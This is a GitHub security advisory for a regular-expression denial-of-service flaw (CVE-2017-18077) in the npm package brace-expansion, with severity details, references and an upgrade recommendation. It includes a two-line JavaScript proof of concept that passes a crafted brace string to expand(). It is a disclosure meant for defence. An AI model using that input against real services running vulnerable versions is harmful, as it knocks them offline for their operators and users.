juliangruber/brace-expansion · Security
ReDoS in brace-expansion
- GHSA ID
- GHSA-832h-xg76-4gv6
- CVE ID
- CVE-2017-18077
- Severity
- high
- Published
- Updated
- CVSS
- 7.5 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- CVSS v3
- 7.5 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.
Proof of Concept
var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');
Recommendation
Update to version 1.1.7 or later.
CWEs
- CWE-1333 · Inefficient Regular Expression Complexity
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-18077 ↗
- https://github.com/juliangruber/brace-expansion/issues/33 ↗
- https://github.com/juliangruber/brace-expansion/pull/35 ↗
- https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3 ↗
- https://github.com/advisories/GHSA-832h-xg76-4gv6 ↗
- https://www.npmjs.com/advisories/338 ↗
- https://bugs.debian.org/862712 ↗